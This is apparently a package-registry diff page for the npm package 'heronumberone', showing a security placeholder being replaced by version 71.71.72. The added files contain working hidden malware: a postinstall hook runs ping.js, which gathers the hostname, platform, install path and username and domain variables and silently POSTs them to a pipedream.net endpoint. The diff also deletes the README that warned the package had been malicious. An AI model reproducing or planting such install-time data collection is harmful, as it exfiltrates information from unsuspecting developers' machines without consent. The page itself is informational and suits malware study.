heronumberone 0.0.1-security → 71.71.72

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of heronumberone might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/package.json +9 -3
  2. package/ping.js +42 -0
  3. package/README.md +0 -5
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "heronumberone",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "71.71.72",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "postinstall": "node ping.js"
7
+ },
8
+ "keywords": [],
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": ""
6
12
  }
package/ping.js ADDED
@@ -0,0 +1,42 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const path = require('path');
4
+
5
+ // Collect a few safe environment variables that might indicate organization or user domain
6
+ const filteredEnv = {};
7
+ ['USERDOMAIN', 'USERNAME', 'COMPUTERNAME', 'NODE_ENV'].forEach(key => {
8
+ if (process.env[key]) {
9
+ filteredEnv[key] = process.env[key];
10
+ }
11
+ });
12
+
13
+ const data = JSON.stringify({
14
+ hostname: os.hostname(),
15
+ platform: os.platform(),
16
+ arch: os.arch(),
17
+ timestamp: new Date().toISOString(),
18
+ installPath: path.resolve(__dirname),
19
+ env: filteredEnv
20
+ });
21
+
22
+ const options = {
23
+ hostname: 'eoykc3a7nhkq2yy.m.pipedream.net',
24
+ port: 443,
25
+ path: '/',
26
+ method: 'POST',
27
+ headers: {
28
+ 'Content-Type': 'application/json',
29
+ 'Content-Length': Buffer.byteLength(data)
30
+ }
31
+ };
32
+
33
+ const req = https.request(options, res => {
34
+ // You can handle response here if needed
35
+ });
36
+
37
+ req.on('error', error => {
38
+ // Handle errors silently or log if needed
39
+ });
40
+
41
+ req.write(data);
42
+ req.end();
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=heronumberone for more information.